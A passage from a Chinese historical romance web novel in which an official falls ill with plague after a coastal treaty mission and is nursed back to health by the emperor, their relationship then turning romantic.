涿州江郡, 地处大邺以南,广邻海域,是把守大邺南境的关口, 驻有二十万水师。 唐青以监察史身份南下, 已停留在江郡一个月, 此时已值七月, 正是南地入夏最好的时光。 整个江郡风清海阔, 碧空万里。 他伏案将一份公文拟写完后, 适才起身, 营帐外来了两名水师,正是左右节使。 左右节使年纪均在三十二上下,常年经海风和阳光暴晒, 肤色较黑,看向唐青时,二人皆露出笑意,齐齐笑出一口白牙。 “大人, 照您的吩咐, 我们在涿州全境内当真寻到了十几名颇俱语言天赋的人, 他们有的是士族子弟,有的是平民百姓,此刻可要见一见?” 唐青一个月前来到江郡水师营地,将海上中转站的提议给了涿州总督,半月后,中转站初俱规模,他随总督一起去了这个海域基地, 见到了带到面前的外海异族首领。 异域面貌,黑皮肤, 体格宽大,围着简单的兽皮,文化思想程度普遍低下,说的的确是听起来甚是别扭的英文。 他花了几天与对方耐心沟通交流,得知对方生活的海岛,又或是他们的国家称为达伽。 于是唐青再一步传递了大邺皇帝的意思,待达伽首领态度松动后,他见到了达伽首领从海岛带来的独有特产。 都是大邺境内不曾出现的香料和药材,还有几种宝石和银矿,加工制作热带海洋特产。 其中,达伽首领带来的香料和药材非常珍稀,若都能引进大邺,可谓是不菲的收获。 如此,唐青为表大邺的诚意和威严,同样给对方展示了来自大邺丰富多样且质地良好的茶叶和丝绸,并表示茶叶在大邺家家户户常备,是人们日常的饮用品。 除此外,搭建在海域基地的炮台置放了整整七十一门,甲板连着甲板,望不见头,船楼自海洋拔高而起,水师迎着海风和阳光正在进行操演训练,足见大邺天威。 达伽首领和唐青转了一圈,沉默许久,目光里有动摇和纠结,唐青并不急着要对方做决定,而是约好半个月后再见,若想清楚了,他们双方会在郑重场合上签订协议。 等待达伽首领表态的期间,唐青从民间,更多的是向涿州境内寻找具备学习语言天赋的人,准备培养一批专门的人才学习英文充当翻译。 此事交给左右结使操办,不小半月,已从涿州境内寻来符合他要求的人选。 唐青准备和这些人见一面,等接触下来后觉得合适的就留下。 他同左右节使到了一间接待客人的大帐,里面的十几名南郡百姓始终站着,见他来了,纷纷迎上前欲行叩拜礼。 唐青温声制止,他披着御赐的那身玄金披风,温和悦色中带着不可攀仰的威仪,先吩咐他们坐下,又遣人送了茶水进来。 从正午开始,唐青留在帐内与这群人做详细的情况了解,又逐个进行现场考察。 忙至月升中天,方才将全部人遣散。 他桌案的茶水已经替换了三次,此时还留着温热,入喉清香温热,缓解了频繁说话的不适。 唐青执着茶盏慢慢细酌,看似出神,其实在复盘今日的考察,在心里挑出人选。 左节使已经离开,右节使从庖房带了新鲜的饭菜,在营帐外出声询问,待听得唐青一声温润沙哑的“进”后,适才轻手轻脚地入帐,将饭菜摆放上桌。 水师营帐里的伙食比较粗糙,每月将几样菜品轮流供食,加之水师训练消耗大,时常在海边日晒雨淋,需要补充大量盐分,故而菜品的口味偏重。 唐青来了以后,食谱都是火头军单独开一个小灶做的,少油少盐,给他准备了清淡的饭菜。 唐青喝着汤,右节使等他喝下半碗,速度慢下来了,才问:“大人心底可有人选?” 唐青微微点头,正待开口,暗卫通报,从邺都皇宫来了信。 他五月从邺都启程,时至七月,收到萧隽送来的六封信,信来了江郡,都会第一时间送到他手上。 右节使一脸好奇,硬生生压下求知欲,只暗自在心底忖道:这位大人果真如传言那般,深得皇上重用,光是大人入驻水师营地的这个月,朝廷就拨来了两次物资。 平日他们水师总驻要些什么物资,需得先向州牧申请,再转至朝堂,经过层层批复才送到御前。 如今这些程序全跳过了,批下来的物资还是由涿州州牧亲自送来的,州牧见着大人,免不得又是一番盛情款待。 只半个月,唐青就与州牧吃了两次饭,往后就请节使替他寻个由头推拒了。 已过子时,他在灯下细读萧隽的信。 信中少提公务,多为日常琐细杂事,这些事若在平日,也极少听萧隽开口说起,唯独借着笔墨, 唐青回到暂居的营帐沐浴后,披着微微湿润的长发,着一袭轻薄里衣,伏在书案前静静地给对方回信。 窗外满月正圆,他停下兔毫,左手支在下颌眺望,少有的出神了。 说来也是奇怪,在邺都时感受还没那么深,等来了江郡,每每见到萧隽的字迹,就犹如听到那人在他耳旁诉说这些事,想着想着,便无端离了神。 他收起飘远的奇思,待最后一笔添完,从头细看,暗暗心惊,这才发现给对方回的信里,书写的内容越来越多。 起初回信,从一开始的寥寥几行,到如今几乎铺满整个纸页,所谈也不过是近日所闻所见,顺道把公务进度也汇报了。 他沥干笔墨,披了件外衣,方才出现在门外,只听不远的暗卫如影子闪现:“大人可有吩咐?” 唐青把手里的信交给对方:“送去邺都吧。” 暗卫点点头,又道:“更深夜浓,望大人保重身体,早点歇息。” 唐青颔首。 来到江郡一个月,每日公事缠身,他回屋后很快就睡下了,许是给萧隽回了信的缘故,竟在梦里出现那日对方送他离开邺都的情形。 * 一早,唐青起来时面色古怪,良久,轻叹一声,命下人送来更换的衣物,将换下来带有脏污的里衣送去清洗。 他揉揉眉心,虽有些许疲惫,但容色焕发。 唐青用早膳时想起更换的衣物,放下碗筷,再次抚额。 他身子单薄,素来看书练字,或静心休养,生理方面尽管正常,但鲜少有过冲动的时候, 今日起来便觉心里团着一股火,不是很热,却微微灼着他,叫他坐立难安。 左节使来见他时,听闻他有些不适,便寻来军医,让军医检查之后,才得知昨日食用的鲜汤里,多了一味生阳补精的辅助食材。 唐青饮了半碗汤,适才导致心火滋生,比平日多了些许躁动。 唐青微讪,屏退军医后,独自喝了两杯清茶。 为了转移不必要的心绪,他很快差来左右节使,又叫了几名负责水师的校督,商议过两日与达伽签订条例的事宜。 两日后,唐青随左右节使来到海域中转基地,此时风平浪静,甲板微微泛着光。 一群白色海鸟落在无人的甲板上,不久,到来的达伽首领使得这群海鸟纷纷飞起。 此条例签订由左右节使负责,他们二人与达伽首领在现场交接后续事宜,唐青则进行监察记录。 条例规定达伽每年需得向大邺进贡规定比例范围内的特有产物,而大邺也不会亏待达伽,愿以茶叶丝绸等物资回馈,并承诺会将将大邺文化传播出去,交授达伽蛮民手工制造,种植技术,以彰显天子君威,大国风范。 日近晌午,双方将纸上墨迹干透的条例反复看了三遍,并逐条核实。合约一式三份,在唐青的见证下完成协议签约。 完成与达伽贸易进贡的协议签订,唐青此程的任务也算结束了。 江郡作为重要海防地区,不但有正规的南境水师驻足,为了迎接海上贸易的展开,还分别建立了相关海衙司,也就是海关。 海衙司负责把控、税收从海域国家进入大邺的物资,同时在规划的航行领域逐一开设海岸中转站,作为全功能型的小型基地,以此巩固大邺水师的防御线。 七月下旬的最后几天,唐青收拾行李,将要离开江郡,往北而上,返回邺都述职。 萧隽让他在八月结束前回到邺都,路程再赶,最快也许二十日才能抵达兖州。 八月的王城,想必已开满绚烂盛烈的凌霄花,满城丹红如火,他过去还没细细看过这样的场景。 唐青返程时,涿州水师总督,几名都尉,左右节使俱来相送,直到马车驶远,再也望不见海岸线,唐青这才靠回车舆,头脑空茫茫的,忽然什么都没想。 * 行至陇州时,发生了一件令唐青意想不到的事。 他见识过兖州的肃穆,冀州的辽阔,涿州的质朴,过去也遇到过北上的流民。 可那已经是几年前所见。 这几年大邺施行休养生息之策,数次减免或免收苛捐杂税与地税,给百姓按籍发了土地,鼓励民间商业经济发展,一切政策都在促进国家经济稳定回暖发展。 此刻他却遇到一群规模不小的流民。 领路的护卫打听,才得知流民是从邯州来的。 今年三月开始,邯州全境陆续出现大旱,百姓颗粒无收。邯州百姓艰难维持了几个月,为了活命,迫不得已纷纷离开生活的地方,往东,往南迁行。 几名老妪带着不及膝盖高的孩子跪在路边讨食,唐青心里不忍,吩咐护卫随行剩余的粮食和水分给她们,同时运转头绪,思忖这会儿是谁在负责处理邯州旱情,方案如何。 又过陇州一郡,所见灾民已被安置,空气里弥漫着浓重的药味,有官兵层层把守,带着面巾,不允任何人接近。 护卫上前打听,不久,僵着脸色向唐青汇报,说是灾民中有部分人患上了疫病,正在集中隔离收治。 唐青内心一跳,继续往北时,每日询问随行护卫情况,得知一行人安然无恙,适才微微安心。 唯独他夜里辗转难眠,刚入兖州境内,便起了低热,口干乏力。 唐青服了几味携带的药物,俱不管用。 临近王城,唐青已避在车内几日,咳嗽道:“距城外五十里停车,选个无人的地方扎营。” 护卫听出他声音的异常:“大人?” 欲揭开车帘探查,却听唐青扯着干哑的嗓子,厉声制止。 “别靠近马车。” 说着,唐青难受地继续咳了几声,浑身毫无一丝力气,全身剧痛,心慌得厉害。 “……我不能进城,更不能面圣,你去城内请大夫来替我诊治。” 唐青咽了咽嗓子:“我可能感染了疫病。” 第125章 第 125 章 八月上旬, 宫里例行开朝会。 金銮大殿内文武百官有本起奏,就前半年前起邯州出现旱情一事相商议论。 邯州三月便显旱迹,州牧却文过饰非, 秘而不宣, 于六月初才上报朝廷。 州牧瞒报致使旱情泛滥, 疫症横生, 流民哀哉, 而今天怒人怨, 更有万民以血成书, 字字泣诉邯州州牧的欺天大罪。 萧隽当即命内外庭联合稽查,不日以绝对的雷霆手腕置了一批官员,如邯州州牧、刺史俱在名额内。 此前萧隽已从邺都抽调了一批官员, 诸如周相,各上将军门下的左右长史,其负责运送粮草和医疗物资赶往邯州援救灾情,又令择刺史随行监察汇报。 而今邯州州牧处境尴尬, 堂下诸多官员自然另起旁的心思, 有的出列举荐, 有的隐忍不发。 百官说千说万,萧隽纹风不动,目光沿大殿逡巡,心里微微沉了沉。 估算日子,唐青回到邺都已有五日,此刻理该出现在御前述职。 当前却不见踪影,那人从不疏忽职守。 他沉吟, 问道:“唐侍郎何在。” 大殿霎时寂静。 萧隽目光落向寇广陵,唐青与尚书台的几名官员向来交好, 却见尚书令寇广陵轻轻摇头:“启禀陛下,唐侍郎不曾到过尚书台。” 负责纂修旧籍的学士也都据实相报,称这几日未见唐青出现在藏书阁。 待早朝一散,萧隽遣来负责护送唐青的暗卫。 他淡目凌冽,浑身气息冷如冰渊。 起初暗卫遮遮掩掩,最后伏跪在地,齐声道:“求皇上责罚。” 萧隽:“该受的罚自是一样不落,孤只问……唐卿何在。” 天子神威,叫暗卫们一阵后怕和畏惧。 其中一人额头紧贴地面,高声道:“启禀皇上,唐大人返至陇州途中,不幸感染疫病,如今已在城外五十里驻帐隔绝六日,属下护送不利,未能完成使命,请皇上降罪!” 萧隽只觉神魂一震,手脚冰冷。 他缓过理智,当即命李显义召集太医,要亲自赶赴邺都城郊。 李显义和太医们连接劝阻,望他以龙体为重,萧隽只字未言,不久驱策雷首,如雷鸣电疾般去了城外。 ** 已值傍晚,邺都城郊外驻着孤零零的一顶营帐。 营帐较远的四周立着另外几顶帐篷,大夫正在里头煎药,听到动静,连忙探出头,一身玄黑金丝龙纹的帝王叫他顿时两股颤颤,连跪带爬的赶到马下趴好。 跟来的禁军呵斥:“大胆,见到皇上还不跪下。” 大夫颤巍巍开口:“草、草民叩、叩见皇上,皇上万岁万……” 萧隽打断他,声音有一丝不稳:“里面的人如何,可治愈康复了?” 大夫踟蹰,摇摆不定,萧隽见状,连冷声质问都无必要,势必孤身入帐。 禁军斗胆阻拦,大夫哆嗦着,连忙唤道:“回皇上,里头的那位大人身患疫疠,矮疠气非同一般,若常人与其接触,极有可能会被疠气感染,皇上三思啊——” 禁军呼道:“皇上三思!” 萧隽寂默,望着跪了一地的禁军和赶来的太医,只道:“孤要见他。” 为此,给唐青诊治了几日的大夫从药帐内取出一瓶药丸,还有药水专门浸过的面巾:“皇上,这是草民防疫所制,还望……” 萧隽颔首:“不必。” 说罢,勒令所有人原地待命,在一众担忧的视线下独自进了营帐。 * 帐内悄寂,萦绕几许浓重的苦涩药息。 眼前除了一方矮柜,只余中间那张床榻。 昏黄的落日微微照着帐外,萧隽视野昏黑,却如狼目那般,盯着被褥微微隆起的方向,他五感奇佳,听着微弱几不可闻的呼吸,心脏陡然揪紧,几步安静停在榻前。 唐青浑浑噩噩地睡着,又或是昏迷了。 八月入秋,但暑气依旧窒热。 他严严实实地拢在一床厚褥内,褥被盖脸,只余脑后的青丝沿着枕边散落。 萧隽俯身,手指很轻地撩开他的发,再慢慢揭开褥面。 “唐青。” 待露出青年面容,萧隽一怔,满心酸痛霎时蔓至四肢百骸。 自母妃离世,他已数年不曾有过落泪的震动。 唐青憔悴消瘦到令萧隽震恸的程度。 青年面无几丝血色,似乎陷落在痛苦中,眉心隐忍,颦紧的皱痕始终没有半分松开的痕迹,往日盈润的雪腮玉颊,更是削瘦凹陷,下巴尖尖的一点,脸小得可怜。 萧隽以指腹轻缓替唐青擦拭汗珠,低唤了一声:“唐青。” 唐青没有回应,待萧隽为他把脸上和脖子的汗都擦净了,他似乎对外界有所感应,竭力掀开沉重的长睫,在一片朦胧模糊中艰难对焦,勉强认出萧隽的轮廓。 “陛、陛下?” 唐青疲累至极,一口清如脆玉的嗓子十分喑哑。 萧隽摸了摸矮桌上的茶壶,还温着,便倒了杯水,慢慢喂入唐青的唇畔。 “喝一些。” 唐青难受又懵懂,意识都被身子的不适占据,身体痛苦,行动上倒愈发温顺,萧隽喂他喝水他安静地喝,极其缓慢地嚅动着嘴唇,再将水咽进喉咙。 饮入少许清水,唐青理智回归,想起此时他感染疫病一段日子,独自隔离在城郊外,除了大夫,严禁任何人靠近营帐。 可萧隽……此刻却将他半揽半抱地拢于怀里,举动分外亲近地给他喂水。 唐青抬起没有一丝力气的手,软绵绵地推着人。 “陛下、不可……” 心绪稍一起伏,他便觉得全身骤痛,连气也喘不上。 萧隽给他顺气,就如幼时母妃抱着生病的他轻轻拍抚那般,掌心徐徐地落在唐青身上柔和拍抚。 “别担心,孤不会有事。” 顿了顿,又道:“孤年幼被送往胡族为质途中,染过疫疠。” 也是旱灾过后滋生瘟疫,北上时,只见家家户户门上都挂着白布办丧,染了疫疠的人绝大多数都病死了。 萧隽注视唐青疲倦却安静的眉眼:“孤不会让你死。” 又似哄着人,掌心拍了拍:“你累了,先睡一会儿。” 唐青阖眼,带着痛意昏沉睡下。 ** 一轮清月当空,待太医为昏睡之后的唐青诊完疫症,很快随着天子走出灯光昏暗的营帐。 萧隽问:“如何?” 太医们对视:“回皇上,侍郎的确染了疫疠,且他身子虚弱,这口气怕是……” 萧隽:“怕是什么?” 太医不敢开口。 萧隽:“救活他,你们则活着,若救不回来,就无须回去了。” 太医冷汗直流:“皇上,老臣定竭尽所能保全侍郎。老臣方才确与周太医商议出一份合适的方子,只是还请皇上替老臣寻一名患过疫疠且痊愈过的人过来,臣需要此人的血做一味重要的引子。” 萧隽负手背过身:“无须寻了,用孤的血。” 太医们诧异,想劝又没那份胆子。 事关性命安危,他们只能哆嗦着用天子之血。 ** 朝堂事务暂由左相全权掌理,萧隽在城郊外的帐子停留了三日。 这天,睡得迷糊昏沉的唐青再次醒在萧隽怀里喝药,他垂着细长脆弱的睫毛,盯着药汁,人有些恍惚。 萧隽将空碗放在桌上,拿起丝帕替他擦了擦唇角,如呵护娇嫩的花瓣,满心怜惜。 “怎地出神,可是躺乏了?” 唐青眨眼:“臣无事,连着三日服用太医煎的新药方,身子已经没那么痛了。” 萧隽:“夜里能寐?” 唐青点点头:“能好好睡一觉了。” 过去十日,他总是痛,认为自己是痛得昏睡过去的,每每醒来都浸在冷汗里,没有半分睡前的意识,难受得厉害。 萧隽:“再服两天药,若身子有了元气,孤带你回宫里。” 总住在营帐里不是个事,若非太医称唐青此时不宜挪动,萧隽便带他回宫里暂先收拾出一处地方安置疗养了。 唐青摇头:“臣不知道此疫疠还会不会传染旁人,听太医说的再做打算吧。” 他一顿:“陛下,您日日与臣相处,当真不会出事吗,外边的人怎么也不拦着?” 不等萧隽开头,唐青喃喃:“莫非患过疫疠后就有了抗体?” 萧隽神色如常:“何为抗体。” 唐青难得放松片刻:“解释了您也听不明白。” 萧隽喜欢唐青这样与他说话,目光沉静柔和地看着人:“孤倒是想听你解释,可能说与孤听?” 向来淡漠孤傲的帝王,把他揽在怀里说这些日常话,叫唐青微微不自在,却也没推开。 这几日萧隽放下政务照顾他,只要唐青睁眼,便能见着这人。 说不感动是假的。 一个人能在你富贵荣华时与你交好并不罕见。 可一个人能在你病痛缠身,难堪至极,更无任何自理能力时,仍不具丝毫脸色,几乎寸步不离地给与你照顾和关怀,想尽办法帮你治病,那当真是世间难得。 何况在这样的时空环境下,以萧隽的身份而言,萧隽做这些事,很有可能又要有一堆官员递出折子冒死进谏,参奏天子了。 唐青不想继续和萧隽说了,怕说再多露出别的心绪。 他微微推开揽在腰腹前的手,指尖忽然碰到什么,待他想掀开萧隽的袖摆,这人换了个动作,把他轻柔放回床榻里躺着。 唐青:“……陛下。” 萧隽:“可是乏了,先好好歇息。” 说起来,萧隽时常穿玄色衣物,少有穿白色的时候,这几日却着月华常服,白色衬得萧隽多了几分平和近人,不复往日淡漠。 萧隽:“卿喜欢孤这样穿?” 唐青不说话,萧隽笑了笑。 等唐青睡下以后,萧隽离开营帐,稍一抬手,露出缠着纱布的骨腕,长眉隐蹙。 险些就叫唐青看见了。 * 第四日,萧隽例行用刀割开腕子,取了血放进碗中。 当他转身,猝不及防地看见本该睡在榻里的人。 唐青面容浮着苍白,流缎一样的头发披落在身前背后,他静静站在药帐外,很轻地摇了摇头。 第126章 第 126 章 唐青实在太单薄了, 一场疫疠抽净了他的元气和精力,纤素苍白的手紧贴着帐门,冲着萧隽极轻地摇完头, 整个人便不由往后踉跄, 落人及时赶来的萧隽怀里。 萧隽自后环着他, 腕子一暖, 却是唐青柔软的指腹握了上去。 唐青垂着头, 露出荏弱纤细的后颈, 仿佛出水莲枝, 轻而易举就能折断,又因这份脆弱,更想好好呵护珍惜。 萧隽双目一扫, 唐青哑声开口:“是臣自己出来,示意他们不必声张。” 喘了口气,又道:“陛下不要责罚旁人。” 听他如此说,萧隽哪里还有异议, 当即把唐青打横抱起, 几步把他带回休息的营帐。 营帐里始终有着无法挥散的药味, 唐青这些日子习惯了这样的苦涩,此时喉咙更苦。 苦楚从心脏涌出,让他难以启齿,眸光仍怔怔落在握上的那截手腕上,眼神诉说着自责与愧疚。 萧隽腕上的血已经开始凝固了,本想出去单独让太医包扎,唐青道:“就在此地处理。” 他终于抬头, 望进萧隽的眼睛:“我想看。” 萧隽抬起另一只手,指腹在他眼尾碰了一下:“可以看, 但无须难过,这是孤甘愿的。” 又道:“孤年幼时患过疫疠,且自愈了,以孤的血做药引,可以尽快让你恢复。” 唐青点点头,眼尾带出些许红润。 太医很快为萧隽的伤口消毒,缠上纱布。 因为要给唐青连续放七日血,为了防止伤口太快结痂愈合,萧隽并未让太医给伤口敷药。 唐青听了,心里更不是滋味。 待屏退太医,他望着萧隽缠了纱布的手腕,道:“陛下,臣的身子已有好转,往后几日就不必您再以血引药。” 萧隽笑了笑:“听太医的,此事孤做不了主。” 唐青少有的瞪了他一眼:“您贵为一国之君,天下皆由您做主,此事却推三阻四……” 萧隽淡笑:“术业有专攻,孤只会打仗和治国,治病救人的事自然交给大夫来办。若卿心觉内疚,便尽快恢复,也好叫孤安心。” 萧隽的言辞和目光直白坦率,唐青掩落长睫,并未意识到自己还捧着对方的手腕。 又过两日,唐青的身子大有好转,能下床独自稍适活动片刻。 ** 一早,营帐外停放了马车,逗留在此地的太医也都收拾好了。 今日萧隽要带唐青回宫疗养,多留在城郊一刻,便对唐青多一分的怜惜。 想着过去几日唐青孤零零地躺在帐子里,萧隽如今只想把全天下最好的珍宝都堆砌着送到他身边,以弥补他所受的委屈,讨他欢喜。 唐青望着短短几日被布置得精致古雅的内帐,锦面短靴下踩着铺就的毡毯。 他在榻前小坐片刻,听侍卫汇报,说外头已经准备妥当,于是起身,继而偏头看了看这半个月隔离的环境,未等他感慨,萧隽从帐外进来。 他道:“陛下,臣……” 话没说完,身子旋即腾空。 近来萧隽动不动就会抱着他走,尤其前些日子他卧病在床,无法自理时,一切几乎都交由萧隽照顾。 对比,他也渐渐麻木了。 但帐内不同帐外,那么多双眼睛看着,他欲言又止,萧隽似与他想到了一处,道:“他们不敢乱嚼舌根。” 岂止说话,连头也不敢抬。 萧隽抱唐青坐进马车内,手指将他落在身前的青丝拨至耳后,道:“可累着了?” 唐青摇头:“日日卧在榻里,如何会累。” 说是如此,最虚弱的那两天,他躺着都会喘不透气,整夜难眠,只能靠在萧隽身上。 这人照着太医教的法子,半夜不停地替他顺抚脉息,等天亮了才缓回些气,没那么喘的累极睡去。 他被疫疠折磨得憔悴又丑陋,此生的丑态,只叫萧隽一人看了个干干净净。 “在想何事。”萧隽与他说话,双目注视着他,认真专注的神情。 唐青微微摇头。 此时他脑子里想的都是关于眼前的这个人,不欲多说,索性靠在颈枕,阖起眸子养神。 萧隽以为唐青病了心绪不佳,没有再纠缠着扰了他的清净。 * 马车一路低调地驶进皇宫,萧隽命人收拾出一座偏殿。 寝殿位置安静,早秋的日光将琉璃瓦晒得发烫反光,入了殿门,便嗅到空气里浮动着一股艾草的气息,越往里走,只觉十分舒服凉快,周围隔绝了秋燥,不会让人滋生闷热。 唐青环顾四周,除了大夫和几名洒扫的宫人出入,萧隽未让人接近此地。 他停在睡榻,榻前落了帷幔,落日金的凤凰羽从床帷散开,唐青看了会儿,微微炫目,很快低了头,静静坐下。 宫人端了水进殿,道:“大人可要洗漱?” 唐青点头,用沾了温水的软巾擦过脸和手。 他回宫前已服过一次药汤,净手之后在书案前翻了会儿书,很快起了困意,径直回了软榻合衣而躺。 往后一连数日,唐青都在宫里调养。 他的身子一天比一天好转,脸上终于有了血色,颊边丰盈了,下巴也养回一点软软的肉。 某天午后,唐青睡醒,隔着帷幔望着暖光照落的窗扉,出神之际,听值守在外边的宫人低声问候了句,很快回眸,与进来的萧隽对视。 萧隽看着他:“睡得可好?” 唐青微微点头,很快被对方扶起,缎面棉花枕安置在腰后,他舒服地靠了起来,眸子微眯,发现一抹艳色。 萧隽带了东西进来。 是一束凌霄花,丹红如火,在最后的时节盛放出烈焰般的颜色,犹如生命的色彩。 他轻叹,抚着花瓣赞美:“很漂亮。” 萧隽把花赠与他:“秋日凌霄,并不若唐卿眉眼半分。” 唐青捧着凌霄花,一时接话不是,不接也不是。 但他仍选择抬起眼眸,直视萧隽的眼睛,适才的窘色很快被忧虑取而代之。 萧隽连取了七日血给他入药,寸步不离地照顾他,回宫后又勤于政务。 即使如此,每当他睁眼,总能在视线所至的范围看见对方,好像此人不曾离开过。 连续失血很伤元气,萧隽体魄再强,照顾他将近一个月,锋利深邃的五官也有了几许疲色,过去身负旧疾复发,他都不曾看见这人如此。 唐青问:“陛下可是累了,您要多加休息。” 萧隽笑笑:“孤才过来,你就寻个借口把孤打发走了。” 唐青并非此意。 萧隽道:“殿内另有其他睡榻,孤留在此处稍适休息,卿可愿意?” 唐青沉默。 见此,萧隽收起浮在眼底的笑,道:“孤明白,若你还累,放下花继续睡吧,孤不扰了。” 几年如此,被唐青一直拒绝,早该习惯的。然而此时的萧隽,心里到底有了些落寞,唐青身子才愈,他不忍再扰对方,起了身,刚走几步,听到身后跟来稍显急促的脚步声, 萧隽停下,紧接着,一股叫他魂牵梦萦了五年的香气微微袭至身后。 凌霄花落在华美的毡毯上,那双素白纤细的手不再捧着花,而是从他腰后往前交缠,很轻的收揽着。 这个怀抱轻如鸿羽,却带了万钧重量,叫萧隽心口震恸,僵在原地。 唐青在挽留他。 更甚是…… 唐青额头很轻地抵在萧隽肩膀,许过了一息,又或过了几息,他后知后觉地发现自己有些失态,正要松手,眼前的萧隽已经把他们的姿势对调。 萧隽反过来拥搂上了唐青的腰肢,几乎抵到他的额头,低着声追问:“卿何意?” 唐青动了动唇,萧隽道:“既然默许,有了这个念头,孤就不允你反悔了。” 第127章 第 127 章 对视的几个瞬息, 暧昧的气氛始终萦绕不散。 唐青素日里有些清冷的眉眼氲着温柔的情意,如秋日里的一缕暖风。 萧隽盯着他,凸出的喉结滚了滚, 很快把人打横抱起, 径直走回睡榻前, 缓缓将其放下。 萧隽没有松开搂在唐青腰肢的手臂, 指腹贴着纤细的腰际轻轻摩挲, 弄得唐青有点痒。 他忍着笑, 如笋尖白嫩的手指按在萧隽手背上, 示意对方停下动作。 萧隽转而抚上他的眉,贴在莹润柔软的脸颊摩挲。 四目相交,萧隽的额头越来越近, 几乎贴在唐青脸上,忽而又换了个方向,若隐若无的吮着如玉的耳廓,沿颈根往下。 高挺的鼻梁微微蹭刮唐青细长的颈, 深深嗅着从青年皮肉里带出来的香气。 萧隽低沉道:“孤没想过这一幕能成真。” 边说着, 薄唇不断在细腻温暖的颈边触碰, 愈发拢紧收在唐青腰肢的掌心。 “青儿好香。” 饶是唐青平日里再云淡风轻,这会儿也不免脸红。 他发现萧隽很喜欢嗅他,还总说他很香。 唐青开口,嗓音些许沙哑:“陛下,臣身上只有些苦涩的药味,成日泡在药剂里,何来香气?” 萧隽不重不轻地照着他的脖子吮了一下, 掌心却抵着唐青的背后拍抚,似是担心此举吓到对方。 “是香的。” 唐青:“……” 他颈根十足的痒, 最敏感的皮肉触着萧隽唇边的温热,带着少许潮湿,连同他的心也变得酥麻而湿漉漉的。 此情此景,萧隽只拥着他,脸埋在他颈边,深深浅浅的嗅着,偶尔印下一吻,不算逾越,唐青也不好推拒。 他的手落在萧隽肩膀,很轻地环了上去。 萧隽又唤他:“青儿。” 唐青依然脸热:“陛下还是唤臣名字吧,从来没有人这般唤臣……” 萧隽:“孤想这般叫青儿,想得梦里如此,等一觉醒来,失落的发现唯有梦中才能如此。” 唐青沉默,萧隽道:“所幸这一切都过去了。” 萧隽起身,握起唐青的双手放在掌心,又送到唇边啄吻。 两只红嘴蓝鹊落在雕花窗栏外扇着翅膀,它们相互啄了啄嘴,又成双成对的飞远了。 只这半刻不到,萧隽拥着唐青又是嗅又是连连不断地啄吻,唐青面色红绯,衣襟也稍微松散了。 他睁着秋波潋滟的桃花眸,瞥见萧隽愈发幽深的目色,很快背过身,顷刻间又落入温暖宽阔的胸怀。 萧隽替他把衣襟拢好,哑声道:“你身子才愈,孤不会轻举妄动。” 唐青将信将疑,睨去一眼。 这一眼犹如秋水烟波,顷刻间淌入萧隽心脏。他浑身一热,但最终还是撑起了身躯,遣宫人送点清茶入殿。 * 时间到了九月,唐青依然留在殿里调养, 他手头的公务都被尚书台其他同僚接手,每日闲暇之余,看看书,练练字,或修剪萧隽送来的凌霄花, 萧隽给他送来不少凌霄花,都被他放进瓷瓶里盛些水养着,延缓花朵凋谢的期限。 秋光正好,萧隽来时,唐青倚在美人榻上翻阅一本大邺风情画籍,近来他所观阅的书,都是皇宫里典藏的绝版,其中地方合志居多,每每看完,留下无限回味。 眼前罩来一道阴影,他抬眸,唇角含着笑向来人问候。 “陛下,您来了。” 萧隽一条手臂揽在榻椅上,几乎把他圈起,目光扫了扫画志,说道:“多加休息,别怕眼睛看坏了。” 唐青解释:“臣只在天色好的时候看看。” 萧隽眉峰跳了跳:“臣?” 话音刚落,便偏过头,凑近了唐青的唇角,很轻地啄了啄。 唐青很快噤声,改口道:“我。” 萧隽罚他的手段只有如此,偶尔猝不及防地吻他一记,唐青垂眸,手被萧隽握着。 很快,二人换了个位置,萧隽光明正大的霸占了美人榻,而方才榻里的美人被他揽在怀里,一手圈着唐青细腰,另一只手就着唐青看到的地方继续往下翻。 萧隽再度吻了吻唐青耳廓,看到薄嫩的耳垂浮起一层桃粉色,满心爱怜,但还是怕唐青抗拒自己,低声道:“孤来翻,你接着看。” 唐青转回身,微微摇头:“陛下这般,我也无心再看了。” 萧隽:“哪般?” 唐青:“陛下明知故问。” 萧隽低声失笑,拥紧了他。 “孤一见你就情不自禁,想拥着你,吻着你,抱你上榻——” 后面的话被唐青用指尖抵着,他借机一亲,把画籍撂向书案,在唐青控诉却未拒绝的眸光下,抱着唐青站起。 二人衣摆交叠,诉说着此时的亲近。 唐青脸色绯红:“陛下,您怎么成日净想这些事?” 萧隽脚步一顿:“青儿想哪里去了,孤想带你出去透透气,还是青儿希望孤抱你去榻上?” 怀里的美人微红了脸失语,萧隽见好就收,当真只抱着唐青走出殿门,一路来到观景园。 萧隽放下唐青,为他理好散落的发丝和秋衫,接着牵起垂落的一只素手,与其并肩徐行,沿着荷花池闲逛。 虽已过暑夏,但九月的上旬仍可见粉荷绽放,花朵出水不染,盈盈孑立,空气中弥漫着荷叶与花瓣的清新气息,叫人心旷神怡。 萧隽牵着唐青走了片刻,道:“若是累了,便同孤说。” 唐青:“陛下,我……” 萧隽看着他,忽然打断:“唤孤的小字可好?” 萧隽的小字,只有母妃在世时那般唤过,如今世上多了个与他亲近的人,自然想将这份与众不同的亲昵分享给唐青。 唐青迟疑:“怕是不妥。” 萧隽:“有何不妥?” 他低声道:“无人的时候,唤孤子深可好?” 唐青:“……” 萧隽目光里带着期许、鼓励和恳请之色:“青儿?” 唐青:“子深。” 刚出口,他顿时觉得有些微妙,这比答应和萧隽在一起时,更叫他难为情和欣喜。 萧隽只因唐青温声出口的小字,耐不住动情。 他指腹连连抚上唐青的脸,秋日粉荷,丝毫不比眼前青年的半分绝色。 唐青眸子微垂:“子深,附近有宫人在值守,若……” 萧隽最终还是忍不住,低头在他小巧翘立的鼻尖吻了吻:“无妨,孤倒希望他们都知晓我们的关系。” 第128章 第 128 章 萧隽贵为国主, 数年心愿得偿所愿,如今美人在怀,何谈收敛? 唐青明白对方的处事风格, 但时至今日, 还是想与萧隽约法三章, 他希望二人的关系暂时不宣告于众。 萧隽皱眉:“何意?” 在他脸色变化前, 唐青主动握上萧隽的掌心, 柔软的指腹贴在带着茧子的虎口处。 只这么一蹭, 萧隽将要起来的怒气顷刻间烟消云散。 他淡声道:“孤要与你光明正大的在一起, 何须这般东躲西藏?若谁敢搬弄口舌,孤便摘了他的脑袋。” 唐青眸也不眨,听萧隽把旁人生死轻易挂在嘴边定夺, 本该质疑或愠怒,但他此刻却失声轻笑。 “陛下,我愿意同你在一起,就没想过会因此伤了谁的性命, 答应我, 不要为此伤害无辜好么?” 萧隽看着他:“孤在青儿心里, 可是残害无辜的昏君?” 